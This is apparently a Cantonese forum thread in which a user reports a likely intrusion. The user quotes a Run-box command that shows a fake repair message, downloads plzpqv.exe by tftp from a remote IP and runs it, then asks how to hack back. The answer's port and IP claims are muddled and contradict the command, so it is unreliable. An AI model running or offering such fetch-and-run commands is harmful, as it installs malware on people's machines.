好似比人Hack

2007-05-23 7:17 pm

我昨晚無關機(一個程式也沒有開),今朝起身時己經見到有好多程式開左有一個是命令提示字元(cmd)我知到cmd通常是由開始→執行到開,而最後一次打在執行的字會被記錄,所以我去番開始→執行看看上一次有什麼字打過,結果給我看到
%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 63.252.66.11 GET plzpqv.exe & start plzpqv&
我見到有個IP(63.252.66.11)就用NeoTrace 去追,追到去Chicago(芝加哥)有埋地址Tim!
我上次也見到電腦上的遊標無喇剌動咗一下。
Q1:
我想Hack番他,有什麽辦法(要用什麼軟件)?
Q2:
%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 63.252.66.11 GET plzpqv.exe & start plzpqv&
是點解?

HELP ME!

回答 (4)

[匿名]

2007-05-24 3:52 am

✔ 最佳答案

Q1
我想Hack番他,有什麽辦法(要用什麼軟件)?

答：樓上那位講得好清楚。上一日小駭論壇。

Q2
%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 63.252.66.11 GET plzpqv.exe & start plzpqv&
是點解?

答：你比人用telnet的"tftp"指令入侵了，他用port23然後開你port21。你而家應關閉port21同port23，有咩唔明可以在一日小駭論壇上發問，佢地會好樂意解答你既問題！

2007-05-23 19:55:19 補充：
%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 63.252.66.11 GET plzpqv.exe & start plzpqv&死啦...plzpqv.exe好有可能是木馬，那人執行了上傳、開啟等動作。63.252.66.11係你ip。

👍 0 👎 0